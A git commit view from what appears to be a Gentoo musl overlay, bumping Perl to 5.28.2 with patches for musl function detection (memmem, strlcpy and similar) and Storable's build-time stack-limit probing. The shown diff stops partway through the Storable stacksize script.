aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorJory Pratt <anarchy@gentoo.org>2019-04-19 18:53:32 -0500
committerJory Pratt <anarchy@gentoo.org>2019-04-19 18:53:32 -0500
commit258898fc55bacccafb9fd401bd1cff96178aa228 (patch)
tree8f57bd6cae64ba8257ff57f6b9becd1716468f54 /dev-lang
parentsys-auth/elogind: use in tree 241.2 which is fully supported (diff)
downloadmusl-258898fc55bacccafb9fd401bd1cff96178aa228.tar.gz
musl-258898fc55bacccafb9fd401bd1cff96178aa228.tar.bz2
musl-258898fc55bacccafb9fd401bd1cff96178aa228.zip
dev-lang/perl: bump to 5.28.2 with portability fixes
Package-Manager: Portage-2.3.64, Repoman-2.3.12 Signed-off-by: Jory Pratt <anarchy@gentoo.org>
Diffstat (limited to 'dev-lang')
-rw-r--r--dev-lang/perl/Manifest4
-rw-r--r--dev-lang/perl/files/5.28/perl-5.28.1-part1.patch75
-rw-r--r--dev-lang/perl/files/5.28/perl-5.28.1-part2.patch27
-rw-r--r--dev-lang/perl/files/5.28/perl-5.28.1-part3.patch88
-rw-r--r--dev-lang/perl/files/5.28/perl-5.28.1-part4.patch103
-rw-r--r--dev-lang/perl/files/5.28/perl-5.28.1-part5.patch35
-rw-r--r--dev-lang/perl/files/5.28/perl-5.28.2-portability.patch976
-rw-r--r--dev-lang/perl/perl-5.28.2.ebuild (renamed from dev-lang/perl/perl-5.28.1.ebuild)23
8 files changed, 991 insertions, 340 deletions
diff --git a/dev-lang/perl/Manifest b/dev-lang/perl/Manifest
index 2cf2ef25..9c51b06c 100644
--- a/dev-lang/perl/Manifest
+++ b/dev-lang/perl/Manifest
@@ -1,6 +1,6 @@
DIST perl-5.26.2-patches-1.tar.xz 17100 BLAKE2B 681239e438945285e006ee1d1e2a9eb888fc9b425e6fbd4822e65e1fe1ced2216de76485b9792d3fee28783a588c09e1d34c294ef43d81055c4566af37fe9b6c SHA512 2a274150d2dba406c6efb67ec236f67032a51ff1788b30ea556e74b2f02fab68f5029ebd4b9d4daeb16b3a63fa7aa1744d323bf637a9d21946f19f33b69da245
DIST perl-5.26.3.tar.xz 11957032 BLAKE2B 3cd5332a0bede16608b1626b0b9903d71105784411c7acf2fd8c0e7637a2ab5049e650bdaba574584ed51a70cc21dfbee5557963717d52c4af9c8bd8e8ef80a1 SHA512 1126ead4f9cc313548e875b6dc9cd1f56f6fef4406f3fd1c108c5cad0db92c8cd0f9bde5b82d78d8f2bd67709c438e87dd45f26b98f327ba31b05b39acc3b299
-DIST perl-5.28.0-patches-1.tar.xz 17128 BLAKE2B f16843d9ecf27fa7d42dd59e1591d618ba9ad6b14f4e56bab4019af043eb79559cc7dbc4a1b1e580c18b7ba0b5d71c4da3e3f94955889629a655e7028492a066 SHA512 e05a492ba045ac71d20393099815bed8e4f491bed79a352e83537561eb256d4f672e0125c5cca9e45150c01d3ad463a070a49e845b3c17806d9f77a872d0352a
-DIST perl-5.28.1.tar.xz 12372080 BLAKE2B cb487edae4707277995ba098e281efe00a38d671db5e5b08161b202c0fe3136a3e92f04ca3a810bbd5fca9fe5b950376716bcbdd5417bd4042a0ef6c6eef57df SHA512 6d18e9684c3a15bea2ccd28f116d1829c3acd5547551ee3539f0060c0d1a75246dfe570dfb9d5f00625a994a0afb0cbd6a5a5f9a407fef75a421e7dbc6491b43
+DIST perl-5.28.2-patches-2.tar.xz 17332 BLAKE2B 74977d4b08e891225a3e0408473df048f6999a1a5044cb68dd205c3a95d5dcceafdaf59c277fd0a0853d5e818c2011434a88aee095cdfcb8ddc393e3a95f93c2 SHA512 b095f7966b8f09f64a6d7e425de91457ecdfddf7d2e73c5ab93632babcd37d0ab74175139484ed019aac09bc4c17ddce38eb75cebc3a80e4d47bbf7b15624c18
+DIST perl-5.28.2.tar.xz 12374448 BLAKE2B 82a49fcf3c29ff7241fae7ffaa1bf9f99d8cbfa6d00d5fd9ff7c3c23a461287322e12acba318c8de8507092e33b05549142bc5194bdb4b516994c9cdc0cb3f92 SHA512 0f2e4f7cb5d8cf6e00054b3842907e29b6c85902d97fb881d5bea65edbc875fef4e15e064561fac7c8db4939586576dd76a225026c7cca9624261c887b1fdb08
DIST perl-cross-1.1.9.tar.gz 102939 BLAKE2B 438ea75a14c4d60fdf3cb2f3671c736d229a83af210ba4fe6e79b989c6c4b45500d0221ec65bc71e1d43d234ec1daa20b3a19be6ceb01e638810900dbe3664a7 SHA512 002441012bd31f1ea71341707d91f89b76266c187c9d28f947ed5eddbcc6e3155e8dfd4b1814331561c3557764fea25bf6a938f08bcd4adfb5895361ad5a269a
DIST perl-cross-1.2.2.tar.gz 106073 BLAKE2B c4eaf5d60dd0ac88a9653cea399f5583a699d35f94a69a36ef9d3cde0017901ff68029f12a3af6e0fd34d46accbb6be009167fadb790da8065f6b85115f1c9b8 SHA512 49dc190018b891daac68a954e2a9bab6294920f02b585c530dcc47af03e8ab51d402455202d45121fa206ee743986ddd50323658c179d2c15cb6af7a2eb0958c
diff --git a/dev-lang/perl/files/5.28/perl-5.28.1-part1.patch b/dev-lang/perl/files/5.28/perl-5.28.1-part1.patch
deleted file mode 100644
index 5ac0e85e..00000000
--- a/dev-lang/perl/files/5.28/perl-5.28.1-part1.patch
+++ /dev/null
@@ -1,75 +0,0 @@
-From ca152fd8207cf53816b1407d5f54f6ea160a3ef8 Mon Sep 17 00:00:00 2001
-From: Andy Dougherty <doughera@lafayette.edu>
-Date: Tue, 22 Jan 2019 14:17:05 -0500
-Subject: [PATCH] Improve Configure detection of memmem() [perl #133760].
-
-Linux systems have memmem, but the header prototype is only visible if
-the C library, but didn't check if the correct prototype is available.
-This patch compiles & runs a test program that will fail if the prototype
-is needed but not available.
-
-This does not completely close [perl #133760]. The tests for strlcat()
-and strlcpy() may also need to be similarly changed. Also, this patch
-does not change whether _GNU_SOURCE is defined or not. Presumably that
-would be done separately in the linux hints file.
----
- Configure | 43 +++++++++++++++++++++++++++++++++++++++++--
- 1 file changed, 41 insertions(+), 2 deletions(-)
-
-diff --git a/Configure b/Configure
-index 6041b0bbb0..a83cbdf2f8 100755
---- a/Configure
-+++ b/Configure
-@@ -16155,8 +16155,47 @@ set mbtowc d_mbtowc
- eval $inlibc
-
- : see if memmem exists
--set memmem d_memmem
--eval $inlibc
-+echo " "
-+echo "Checking if you have a working memmem()" >&4
-+$cat >try.c <<EOCP
-+#$d_gnulibc HAS_GNULIBC /**/
-+#if defined(HAS_GNULIBC) && !defined(_GNU_SOURCE)
-+# define _GNU_SOURCE
-+#endif
-+#include <stdio.h>
-+#include <stdlib.h>
-+#include <stddef.h>
-+#include <string.h>
-+int main(int argc, char **argv)
-+{
-+ char *big = "abcdefghiabcdefghi";
-+ char *little = "def";
-+ char *rtn;
-+ ptrdiff_t diff;
-+ rtn = (char *) memmem(big, strlen(big), little, strlen(little));
-+ diff = rtn - big;
-+ exit(diff == 3 ? EXIT_SUCCESS : EXIT_FAILURE);
-+}
-+EOCP
-+set try
-+if eval $compile; then
-+ `$run ./try`
-+ rc=$?
-+ case "$rc" in
-+ 0) echo "Yes, you do." >&4
-+ val="$define"
-+ ;;
-+ *) echo "Well, you have memmem, but it isn't working." >&4
-+ val="$undef"
-+ ;;
-+ esac
-+else
-+ echo "No, you do not." >&4
-+ val="$undef"
-+fi
-+set d_memmem
-+eval $setvar
-+$rm_try
-
- : see if memrchr exists
- set memrchr d_memrchr
---
-2.15.1-424-g9478a660812
-
diff --git a/dev-lang/perl/files/5.28/perl-5.28.1-part2.patch b/dev-lang/perl/files/5.28/perl-5.28.1-part2.patch
deleted file mode 100644
index c2c49b69..00000000
--- a/dev-lang/perl/files/5.28/perl-5.28.1-part2.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 63c1fa6a98bc60234a21de83dd191cd581a5d073 Mon Sep 17 00:00:00 2001
-From: Andy Dougherty <doughera@lafayette.edu>
-Date: Wed, 23 Jan 2019 21:12:29 -0500
-Subject: [PATCH] Add ability to include literal text in the prototype check.
-
-This is the same technique as in the metaconfig unit Protochk.U.
-See that unit for more usage information. It is a bit clunky,
-but does work.
----
- Configure | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/Configure b/Configure
-index a83cbdf2f8..179545727e 100755
---- a/Configure
-+++ b/Configure
-@@ -10739,6 +10739,7 @@ hasproto='varname=$1; func=$2; shift; shift;
- while $test $# -ge 2; do
- case "$1" in
- $define) echo "#include <$2>";;
-+ literal) echo "$2" ;;
- esac ;
- shift 2;
- done > try.c;
---
-2.15.1-424-g9478a660812
-
diff --git a/dev-lang/perl/files/5.28/perl-5.28.1-part3.patch b/dev-lang/perl/files/5.28/perl-5.28.1-part3.patch
deleted file mode 100644
index 3e31c1d1..00000000
--- a/dev-lang/perl/files/5.28/perl-5.28.1-part3.patch
+++ /dev/null
@@ -1,88 +0,0 @@
-From f8d82a1010426d0eb49c33cb903413b882c85c3e Mon Sep 17 00:00:00 2001
-From: Andy Dougherty <doughera@lafayette.edu>
-Date: Wed, 23 Jan 2019 21:39:39 -0500
-Subject: [PATCH] Another attempt to improve Configure detection of memmem()
- [perl #133760].
-
-This updates commit ca152fd8207cf53816b1407d5f54f6ea160a3ef8.
-Linux systems have memmem, but the prototype in <string.h> is only
-visible if __GNU_SOURCE is defined. This version tests for both the
-prototype in <string.h> and the symbol in libc. (Thanks to Tony C. for
-the suggestion.) (For BSD systems, no extra define is needed.)
----
- Configure | 58 ++++++++++++++++++----------------------------------------
- 1 file changed, 18 insertions(+), 40 deletions(-)
-
-diff --git a/Configure b/Configure
-index 179545727e..ad17948a2c 100755
---- a/Configure
-+++ b/Configure
-@@ -16156,47 +16156,25 @@ set mbtowc d_mbtowc
- eval $inlibc
-
- : see if memmem exists
-+: We need both a prototype in string.h and the symbol in libc.
- echo " "
--echo "Checking if you have a working memmem()" >&4
--$cat >try.c <<EOCP
--#$d_gnulibc HAS_GNULIBC /**/
--#if defined(HAS_GNULIBC) && !defined(_GNU_SOURCE)
--# define _GNU_SOURCE
--#endif
--#include <stdio.h>
--#include <stdlib.h>
--#include <stddef.h>
--#include <string.h>
--int main(int argc, char **argv)
--{
-- char *big = "abcdefghiabcdefghi";
-- char *little = "def";
-- char *rtn;
-- ptrdiff_t diff;
-- rtn = (char *) memmem(big, strlen(big), little, strlen(little));
-- diff = rtn - big;
-- exit(diff == 3 ? EXIT_SUCCESS : EXIT_FAILURE);
--}
--EOCP
--set try
--if eval $compile; then
-- `$run ./try`
-- rc=$?
-- case "$rc" in
-- 0) echo "Yes, you do." >&4
-- val="$define"
-- ;;
-- *) echo "Well, you have memmem, but it isn't working." >&4
-- val="$undef"
-- ;;
-- esac
--else
-- echo "No, you do not." >&4
-- val="$undef"
--fi
--set d_memmem
--eval $setvar
--$rm_try
-+d_memmem_proto=''
-+xx1="#$d_gnulibc HAS_GNULIBC"
-+xx2='#if defined(HAS_GNULIBC) && !defined(_GNU_SOURCE)'
-+xx3='# define _GNU_SOURCE'
-+xx4='#endif'
-+set d_memmem_proto memmem literal "$xx1" literal "$xx2" literal "$xx3" literal "$xx4" define string.h
-+eval $hasproto
-+case "$d_memmem_proto" in
-+ define) # see if memmem exists
-+ set memmem d_memmem
-+ eval $inlibc
-+ ;;
-+ *) val=$undef
-+ set d_memmem
-+ eval $setvar
-+ ;;
-+esac
-
- : see if memrchr exists
- set memrchr d_memrchr
---
-2.15.1-424-g9478a660812
-
diff --git a/dev-lang/perl/files/5.28/perl-5.28.1-part4.patch b/dev-lang/perl/files/5.28/perl-5.28.1-part4.patch
deleted file mode 100644
index 17f62abd..00000000
--- a/dev-lang/perl/files/5.28/perl-5.28.1-part4.patch
+++ /dev/null
@@ -1,103 +0,0 @@
-From ba73a4cb8f472480a2d630613d1e9e1172d518d3 Mon Sep 17 00:00:00 2001
-From: Andy Dougherty <doughera@lafayette.edu>
-Date: Thu, 31 Jan 2019 13:04:32 -0500
-Subject: [PATCH] Improve detection of memrchr, strlcat, and strlcpy.
-
-This is continuation of commit f8d82a1010 addressing [perl #133760].
-Linux systems using the musl C library have memmem, memrchr, strlcat, and
-strlcpy, but the prototypes are only visible if _GNU_SOURCE is defined.
-This patch makes Configure test both whether the prototype is visible
-and whether the C symbol is visible.
-
-Still to be done is automatically adding _GNU_SOURCE if the musl library
-is being used -- probably in hints/linux.sh.
----
- Configure | 63 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++------
- 1 file changed, 57 insertions(+), 6 deletions(-)
-
-diff --git a/Configure b/Configure
-index ad17948a2c..b91d1565b1 100755
---- a/Configure
-+++ b/Configure
-@@ -16177,8 +16177,25 @@ case "$d_memmem_proto" in
- esac
-
- : see if memrchr exists
--set memrchr d_memrchr
--eval $inlibc
-+: We need both a prototype in string.h and the symbol in libc.
-+echo " "
-+d_memrchr_proto=''
-+xx1="#$d_gnulibc HAS_GNULIBC"
-+xx2='#if defined(HAS_GNULIBC) && !defined(_GNU_SOURCE)'
-+xx3='# define _GNU_SOURCE'
-+xx4='#endif'
-+set d_memrchr_proto memrchr literal "$xx1" literal "$xx2" literal "$xx3" literal "$xx4" define string.h
-+eval $hasproto
-+case "$d_memrchr_proto" in
-+ define) # see if memrchr exists
-+ set memrchr d_memrchr
-+ eval $inlibc
-+ ;;
-+ *) val=$undef
-+ set d_memrchr
-+ eval $setvar
-+ ;;
-+esac
-
- : see if mkdir exists
- set mkdir d_mkdir
-@@ -18787,12 +18804,46 @@ set strftime d_strftime
- eval $inlibc
-
- : see if strlcat exists
--set strlcat d_strlcat
--eval $inlibc
-+: We need both a prototype in string.h and the symbol in libc.
-+echo " "
-+d_strlcat_proto=''
-+xx1="#$d_gnulibc HAS_GNULIBC"
-+xx2='#if defined(HAS_GNULIBC) && !defined(_GNU_SOURCE)'
-+xx3='# define _GNU_SOURCE'
-+xx4='#endif'
-+set d_strlcat_proto strlcat literal "$xx1" literal "$xx2" literal "$xx3" literal "$xx4" define string.h
-+eval $hasproto
-+case "$d_strlcat_proto" in
-+ define) # see if strlcat exists
-+ set strlcat d_strlcat
-+ eval $inlibc
-+ ;;
-+ *) val=$undef
-+ set d_strlcat
-+ eval $setvar
-+ ;;
-+esac
-
- : see if strlcpy exists
--set strlcpy d_strlcpy
--eval $inlibc
-+: We need both a prototype in string.h and the symbol in libc.
-+echo " "
-+d_strlcpy_proto=''
-+xx1="#$d_gnulibc HAS_GNULIBC"
-+xx2='#if defined(HAS_GNULIBC) && !defined(_GNU_SOURCE)'
-+xx3='# define _GNU_SOURCE'
-+xx4='#endif'
-+set d_strlcpy_proto strlcpy literal "$xx1" literal "$xx2" literal "$xx3" literal "$xx4" define string.h
-+eval $hasproto
-+case "$d_strlcpy_proto" in
-+ define) # see if strlcpy exists
-+ set strlcpy d_strlcpy
-+ eval $inlibc
-+ ;;
-+ *) val=$undef
-+ set d_strlcpy
-+ eval $setvar
-+ ;;
-+esac
-
- : see if strnlen exists
- set strnlen d_strnlen
---
-2.15.1-424-g9478a660812
-
diff --git a/dev-lang/perl/files/5.28/perl-5.28.1-part5.patch b/dev-lang/perl/files/5.28/perl-5.28.1-part5.patch
deleted file mode 100644
index e9cac65f..00000000
--- a/dev-lang/perl/files/5.28/perl-5.28.1-part5.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 04db542212fdad3a62f13afe741c99028f4bf799 Mon Sep 17 00:00:00 2001
-From: Andy Dougherty <doughera@lafayette.edu>
-Date: Thu, 31 Jan 2019 14:05:41 -0500
-Subject: [PATCH] Define _GNU_SOURCE if using the musl libc on linux.
-
-Together with prior commits ba73a4cb8f, f8d82a1010, and 63c1fa6a98,
-this should close [perl #133760].
----
- hints/linux.sh | 10 ++++++++++
- 1 file changed, 10 insertions(+)
-
-diff --git a/hints/linux.sh b/hints/linux.sh
-index 3f38ea07f1..a985a8ee1b 100644
---- a/hints/linux.sh
-+++ b/hints/linux.sh
-@@ -178,6 +178,16 @@ case "$plibpth" in
- ;;
- esac
-
-+# For the musl libc, perl should #define _GNU_SOURCE. Otherwise, some
-+# available functions, like memem, won't be used. See the discussion in
-+# [perl #133760]. musl doesn't offer an easy way to identify it, but,
-+# at least on alpine linux, the ldd --version output contains the
-+# string 'musl.'
-+case `ldd --version 2>&1` in
-+ musl*) ccflags="$ccflags -D_GNU_SOURCE" ;;
-+ *) ;;
-+esac
-+
- # libquadmath is sometimes installed as gcc internal library,
- # so contrary to our usual policy of *not* looking at gcc internal
- # directories we now *do* look at them, in case they contain
---
-2.15.1-424-g9478a660812
-
diff --git a/dev-lang/perl/files/5.28/perl-5.28.2-portability.patch b/dev-lang/perl/files/5.28/perl-5.28.2-portability.patch
new file mode 100644
index 00000000..38d4027e
--- /dev/null
+++ b/dev-lang/perl/files/5.28/perl-5.28.2-portability.patch
@@ -0,0 +1,976 @@
+From 841cea7b099fc12274991dda349a86b1ce8059da Mon Sep 17 00:00:00 2001
+From: Andreas K. Hüttel <dilfridge@gentoo.org>
+Date: Fri, 19 Apr 2019 21:16:33 +0000
+Subject: [PATCH] Fix Storable for non glibc systems
+
+---
+ MANIFEST | 1 -
+ Makefile.SH | 25 ---
+ Porting/Maintainers.pl | 4 +-
+ dist/Storable/ChangeLog | 30 ++++
+ dist/Storable/Makefile.PL | 46 +-----
+ dist/Storable/__Storable__.pm | 35 ++--
+ dist/Storable/stacksize | 77 ++-------
+ dist/Storable/t/CVE-2015-1592.inc | 261 ------------------------------
+ dist/Storable/t/CVE-2015-1592.t | 25 ++-
+ dist/Storable/t/dclone.t | 2 +
+ dist/Storable/t/recurse.t | 4 +-
+ dist/Storable/t/threads.t | 4 +
+ mkppport.lst | 1 +
+ win32/GNUmakefile | 12 +-
+ win32/Makefile | 10 +-
+ win32/makefile.mk | 15 +-
+ 16 files changed, 103 insertions(+), 449 deletions(-)
+ delete mode 100644 dist/Storable/t/CVE-2015-1592.inc
+
+diff --git a/MANIFEST b/MANIFEST
+index a6b5fe5..0f07fec 100644
+--- a/MANIFEST
++++ b/MANIFEST
+@@ -3716,7 +3716,6 @@ dist/Storable/t/code.t See if Storable works
+ dist/Storable/t/compat01.t See if Storable works
+ dist/Storable/t/compat06.t See if Storable works
+ dist/Storable/t/croak.t See if Storable works
+-dist/Storable/t/CVE-2015-1592.inc See if Storable works
+ dist/Storable/t/CVE-2015-1592.t See if Storable works
+ dist/Storable/t/dclone.t See if Storable works
+ dist/Storable/t/destroy.t Test Storable in global destructon
+diff --git a/Makefile.SH b/Makefile.SH
+index 61970d4..7440fc2 100755
+--- a/Makefile.SH
++++ b/Makefile.SH
+@@ -189,15 +189,11 @@ esac
+
+ : is Cwd static or dynamic
+ static_cwd='define'
+-storable_limit_dep=''
+-storable_type=''
+ list_util_dep='$(PERL_EXE)'
+ for f in $dynamic_ext; do
+ case $f in
+ Cwd) static_cwd='undef' ;;
+ List/Util) list_util_dep=lib/auto/List/Util/Util.$dlext ;;
+- Storable) storable_limit_dep=lib/auto/Storable/Storable.$dlext
+- storable_type='dynamic' ;;
+ esac
+ done
+
+@@ -234,7 +230,6 @@ for f in $static_ext; do
+ $this_target: lib/auto/List/Util/Util\$(LIB_EXT)" ;;
+ Unicode/Normalize) extra_dep="$extra_dep
+ $this_target: uni.data" ;;
+- Storable) storable_type='static' ;;
+ esac
+ done
+
+@@ -1201,26 +1196,6 @@ no_install no-install: install-notify
+ install: install-all
+ !NO!SUBS!
+
+-if test "$storable_type" != "" ; then
+-
+-case "$static_cwd" in
+-undef) storable_limit_dep="$storable_limit_dep lib/auto/Cwd/Cwd.$dlext" ;;
+-esac
+-
+-$spitshell >>$Makefile <<EOT
+-
+-dist/Storable/lib/Storable/Limit.pm : \$(PERL_EXE) dist/Storable/stacksize $storable_limit_dep
+- cd dist/Storable ; \$(LDLIBPTH) \$(MAKE) lib/Storable/Limit.pm
+-
+-lib/Storable/Limit.pm : dist/Storable/lib/Storable/Limit.pm
+- test -d lib/Storable || mkdir lib/Storable
+- cp dist/Storable/lib/Storable/Limit.pm lib/Storable/Limit.pm
+-EOT
+-
+-common_build_deps="$common_build_deps lib/Storable/Limit.pm"
+-
+-fi
+-
+ for name in all notify silent strip verbose; do
+ flags="--$name";
+ flags=`echo $flags | sed -e 's/--all//'`
+diff --git a/Porting/Maintainers.pl b/Porting/Maintainers.pl
+index 4f039f7..64b56a5 100755
+--- a/Porting/Maintainers.pl
++++ b/Porting/Maintainers.pl
+@@ -351,7 +351,7 @@ use File::Glob qw(:case);
+ 'EXCLUDED' => [
+ 'PPPort.pm', # we use PPPort_pm.PL instead
+ ],
+- 'CUSTOMIZED' => [ qw[ parts/embed.fnc ] ],
++ 'CUSTOMIZED' => [ qw[ parts/embed.fnc ] ],
+ },
+
+ 'Devel::SelfStubber' => {
+@@ -1010,7 +1010,7 @@ use File::Glob qw(:case);
+ },
+
+ 'Storable' => {
+- 'DISTRIBUTION' => 'AMS/Storable-2.51.tar.gz',
++ 'DISTRIBUTION' => 'XSAWYERX/Storable-3.11.tar.gz',
+ 'FILES' => q[dist/Storable],
+ 'EXCLUDED' => [
+ qr{^t/compat/},
+diff --git a/dist/Storable/ChangeLog b/dist/Storable/ChangeLog
+index 3f3076a..5e63ea6 100644
+--- a/dist/Storable/ChangeLog
++++ b/dist/Storable/ChangeLog
+@@ -1,3 +1,33 @@
++unreleased
++ version 3.14
++ * (perl #133708) don't build-time probe for stack limits at all
++
++unreleased
++ version 3.12
++ * (perl #133411) don't probe for stack limits with -Dusecrosscompile
++
++2018-04-27 20:40:00 xsawyerx
++ version 3.11
++ * Fix Strawberry Perl build failures.
++
++2018-04-21 22:00:00 xsawyerx
++ Version 3.10
++ * Fix binary artifacts from distribution.
++
++2018-04-21 16:49:00 xsawyerx
++ Version 3.09
++ * Fix "provides" in metadata (META.yml/META.json) to use the Storable
++ template instead of a small other file (which also didn't exist).
++
++2018-04-21 11:23:00 xsawyerx
++ Version 3.08
++ * (perl #132849) try to disable core files when deliberatly segfaulting.
++ * (perl #127743) don't probe Storable limits so much.
++ * (perl #132893) don't probe for Storable recursion limits on old Win32.
++ * (perl #132870) workaround VC2017 compiler bug.
++ * (perl #127743) re-work for debugging builds with MSVC.
++ * (perl #133039) dont build a Storable.so/.dll with a static perl build.
++
+ 2018-02-07 15:08:00 tonyc
+ Version 3.06
+
+diff --git a/dist/Storable/Makefile.PL b/dist/Storable/Makefile.PL
+index 092bab4..4a39125 100644
+--- a/dist/Storable/Makefile.PL
++++ b/dist/Storable/Makefile.PL
+@@ -7,21 +7,18 @@
+ #
+
+ use strict;
+-use ExtUtils::MakeMaker;
++use warnings;
++use ExtUtils::MakeMaker 6.31;
+ use Config;
+ use File::Copy qw(move copy);
+ use File::Spec;
+
+-unlink "lib/Storable/Limit.pm";
+-
+ my $pm = { 'Storable.pm' => '$(INST_ARCHLIB)/Storable.pm' };
+-unless ($ENV{PERL_CORE}) {
+- # the core Makefile takes care of this for core builds
+- $pm->{"lib/Storable/Limit.pm"} = '$(INST_ARCHLIB)/Storable/Limit.pm';
+-}
+
+ WriteMakefile(
+ NAME => 'Storable',
++ AUTHOR => 'Perl 5 Porters',
++ LICENSE => 'perl',
+ DISTNAME => "Storable",
+ # We now ship this in t/
+ # PREREQ_PM => { 'Test::More' => '0.41' },
+@@ -36,7 +33,7 @@ WriteMakefile(
+ { bugtracker => 'http://rt.perl.org/perlbug/' },
+ provides => {
+ 'Storable' => {
+- file => 'Storable_pm.PL',
++ file => '__Storable__.pm',
+ version => MM->parse_version('__Storable__.pm'),
+ },
+ },
+@@ -81,28 +78,7 @@ sub xlinkext {
+ }
+
+ sub depend {
+- my $extra_deps = "";
+- my $options = "";
+- if ($ENV{PERL_CORE}) {
+- $options = "--core";
+- }
+- else {
+- # blib.pm needs arch/lib
+- $extra_deps = ' Storable.pm';
+- }
+- my $whichperl;
+- if ($Config::Config{usecrosscompile}) {
+- $whichperl = '$(PERLRUN)';
+- }
+- else {
+- $whichperl = '$(FULLPERLRUNINST)';
+- }
+- my $linktype = uc($_[0]->{LINKTYPE});
+- my $limit_pm = File::Spec->catfile('lib', 'Storable', 'Limit.pm');
+ "
+-$limit_pm : stacksize \$(INST_$linktype)$extra_deps
+- \$(MKPATH) \$(INST_LIB)
+- $whichperl stacksize $options
+
+ release : dist
+ git tag \$(VERSION)
+@@ -112,18 +88,6 @@ release : dist
+ "
+ }
+
+-sub test {
+- my ($self, %attr) = @_;
+-
+- my $out = $self->SUPER::test(%attr);
+-
+- if ($ENV{PERL_CORE}) {
+- $out =~ s!^(test(?:db)?_(?:static|dynamic)\b.*)!$1 lib/Storable/Limit.pm!gm;
+- }
+-
+- $out;
+-}
+-
+ sub postamble {
+ '
+ all :: Storable.pm
+diff --git a/dist/Storable/__Storable__.pm b/dist/Storable/__Storable__.pm
+index e77b240..812675a 100644
+--- a/dist/Storable/__Storable__.pm
++++ b/dist/Storable/__Storable__.pm
+@@ -27,18 +27,18 @@ our @EXPORT_OK = qw(
+
+ our ($canonical, $forgive_me);
+
+-our $VERSION = '3.08_01';
++our $VERSION = '3.14';
+
+ our $recursion_limit;
+ our $recursion_limit_hash;
+
+-do "Storable/Limit.pm";
+-
+ $recursion_limit = 512
+ unless defined $recursion_limit;
+ $recursion_limit_hash = 256
+ unless defined $recursion_limit_hash;
+
++use Carp;
++
+ BEGIN {
+ if (eval {
+ local $SIG{__DIE__};
+@@ -54,16 +54,23 @@ BEGIN {
+ # provide a fallback implementation.
+ #
+ unless ($Storable::{logcroak} && *{$Storable::{logcroak}}{CODE}) {
+- require Carp;
++ *logcroak = \&Carp::croak;
++ }
++ else {
++ # Log::Agent's logcroak always adds a newline to the error it is
++ # given. This breaks refs getting thrown. We can just discard what
++ # it throws (but keep whatever logging it does) and throw the original
++ # args.
++ no warnings 'redefine';
++ my $logcroak = \&logcroak;
+ *logcroak = sub {
+- Carp::croak(@_);
++ my @args = @_;
++ eval { &$logcroak };
++ Carp::croak(@args);
+ };
+ }
+ unless ($Storable::{logcarp} && *{$Storable::{logcarp}}{CODE}) {
+- require Carp;
+- *logcarp = sub {
+- Carp::carp(@_);
+- };
++ *logcarp = \&Carp::carp;
+ }
+ }
+
+@@ -941,13 +948,13 @@ There are a few things you need to know, however:
+
+ =item *
+
+-Since Storable 3.05 we probe for the stack recursion limit for references,
++From Storable 3.05 to 3.13 we probed for the stack recursion limit for references,
+ arrays and hashes to a maximal depth of ~1200-35000, otherwise we might
+ fall into a stack-overflow. On JSON::XS this limit is 512 btw. With
+ references not immediately referencing each other there's no such
+ limit yet, so you might fall into such a stack-overflow segfault.
+
+-This probing and the checks performed have some limitations:
++This probing and the checks we performed have some limitations:
+
+ =over
+
+@@ -955,7 +962,9 @@ This probing and the checks performed have some limitations:
+
+ the stack size at build time might be different at run time, eg. the
+ stack size may have been modified with ulimit(1). If it's larger at
+-run time Storable may fail the freeze() or thaw() unnecessarily.
++run time Storable may fail the freeze() or thaw() unnecessarily. If
++it's larger at build time Storable may segmentation fault when
++processing a deep structure at run time.
+
+ =item *
+
+@@ -970,6 +979,8 @@ stack without triggering Storable's recursion protection.
+
+ =back
+
++So these now have simple defaults rather than probing at build-time.
++
+ You can control the maximum array and hash recursion depths by
+ modifying C<$Storable::recursion_limit> and
+ C<$Storable::recursion_limit_hash> respectively. Either can be set to
+diff --git a/dist/Storable/stacksize b/dist/Storable/stacksize
+index 14e0739..f93eccc 100644
+--- a/dist/Storable/stacksize
++++ b/dist/Storable/stacksize
+@@ -1,21 +1,17 @@
+ #!/usr/bin/perl
+ # binary search maximum stack depth for arrays and hashes
+-# and store it in lib/Storable/Limit.pm
++# and report it to stdout as code to set the limits
+
+ use Config;
+ use Cwd;
+ use File::Spec;
+ use strict;
+
+--d "lib" or mkdir "lib";
+--d "lib/Storable" or mkdir "lib/Storable";
+-
+-my $fn = "lib/Storable/Limit.pm";
+ my $ptrsize = $Config{ptrsize};
+ my ($bad1, $bad2) = (65001, 25000);
+ sub QUIET () {
+ (defined $ENV{MAKEFLAGS} and $ENV{MAKEFLAGS} =~ /\b(s|silent|quiet)\b/
+- and !defined($ENV{TRAVIS}))
++ and !defined($ENV{TRAVIS})) || @ARGV && $ARGV[0] eq "-q"
+ ? 1 : 0
+ }
+ sub PARALLEL () {
+@@ -32,11 +28,7 @@ sub is_miniperl {
+ }
+
+ if (is_miniperl()) {
+- if ($Config{usecrosscompile}) {
+- write_limits(500, 265);
+- exit;
+- }
+- die "Should not run during miniperl\n";
++ die "Should not run using miniperl\n";
+ }
+ my $prefix = "";
+ if ($^O eq "MSWin32") {
+@@ -51,58 +43,28 @@ elsif (system("ulimit -c 0 ;") == 0) {
+ # try to prevent core dumps
+ $prefix = "ulimit -c 0 ; ";
+ }
+-if (@ARGV and $ARGV[0] eq '--core') {
+- $ENV{PERL_CORE} = 1;
+-}
+ my $PERL = $^X;
+-if ($ENV{PERL_CORE}) {
+- my $path;
+- my $ldlib = $Config{ldlibpthname};
+- if (-d 'dist/Storable') {
+- chdir 'dist/Storable';
+- $PERL = "../../$PERL" unless $PERL =~ m|^/|;
+- }
+- if ($ldlib) {
+- $path = getcwd()."/../..";
+- }
+- if ($^O eq 'MSWin32' and -d '../dist/Storable') {
+- chdir '..\dist\Storable';
+- $PERL = "..\\..\\$PERL" unless $PERL =~ /^[A-Za-z]:\\/;
+- }
+- $PERL = "\"$PERL\"" if $PERL =~ / /;
+- if ($ldlib and $ldlib ne 'PATH') {
+- $PERL = "$ldlib=$path $PERL";
+- }
+-}
+-
+ if ($^O eq "MSWin32") {
+ require Win32;
+ my ($str, $major, $minor) = Win32::GetOSVersion();
+ if ($major < 6 || $major == 6 && $minor < 1) {
+- print "Using defaults for older Win32\n";
++ print "# Using defaults for older Win32\n";
+ write_limits(500, 256);
+ exit;
+ }
+ }
